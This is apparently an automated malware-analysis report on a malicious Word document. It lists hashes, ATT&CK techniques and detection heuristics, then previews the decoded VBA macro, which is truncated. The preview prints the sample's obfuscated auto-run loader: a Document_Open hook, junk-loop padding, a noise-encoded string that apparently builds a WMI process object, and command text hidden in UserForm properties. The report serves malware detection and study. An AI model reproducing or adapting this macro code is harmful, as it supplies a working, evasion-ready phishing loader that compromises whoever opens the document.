Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ee0b1369011b262…

MALICIOUS

Office (OLE)

173.6 KB Created: 2020-08-18 22:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 5415074384da180af9882fda9f9a71e8 SHA-1: 754d8f9cddef2cfeb725740c0077c698b28f8587 SHA-256: 8ee0b1369011b26260beb1a9a2f128ed8d20b50f8637a820e0906bcbf7503f28
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of these elements suggests the macro is designed to execute automatically upon opening the document and likely attempts to download and execute a second-stage payload. ClamAV also detected this file as Doc.Malware.Sagent-9376861-0.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9376861-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9376861-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10943 bytes
SHA-256: 2fc10c51b8b047920a23d17ba9690390d4e1b10b34234c75df492b3fac296193
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tddv74b8s6_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Fjis9hiu80o_pqs.Lfpsx75hdmebc
End Sub


Attribute VB_Name = "Fjis9hiu80o_pqs"
Attribute VB_Base = "0{88A04999-9798-474B-8B29-CA2A2232BB91}{DC2B2AD2-672E-4296-A6E7-9A08F60E33DD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Lfpsx75hdmebc()
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 379
Ogkdx_od2uyngh5kl = 934
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Wm_7w70taqjc = F9amqxgtedx
Kor76ghz91x = Fjis9hiu80o_pqs.HelpContextId + 50 + 50
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 792
Ogkdx_od2uyngh5kl = 408
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Fmz995d_1q7 = F9amqxgtedx
J8nghqypwacrnzunyl = ChrW(Kor76ghz91x + (15))
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 825
Ogkdx_od2uyngh5kl = 117
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
O4t7gkfv3g_3nc = F9amqxgtedx
Pk04tjzp23q_knba32 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + J8nghqypwacrnzunyl + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Fjis9hiu80o_pqs.L2ujc2egz1oh + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 526
Ogkdx_od2uyngh5kl = 313
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Atusvvyfevpnolf = F9amqxgtedx
Hd4tl2l7eog = Ebon9bp68i4(Pk04tjzp23q_knba32)
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 954
Ogkdx_od2uyngh5kl = 218
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Il76b694zg4a = F9amqxgtedx
Set Mqhtkiitp60i = CreateObject(Hd4tl2l7eog)
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 876
Ogkdx_od2uyngh5kl = 34
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
O3vgl5393hho = F9amqxgtedx
Nvec9kud9hvhc5kd = Fjis9hiu80o_pqs.Tw2vrcyld3rydvigj.ControlTipText
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7u
... (truncated)

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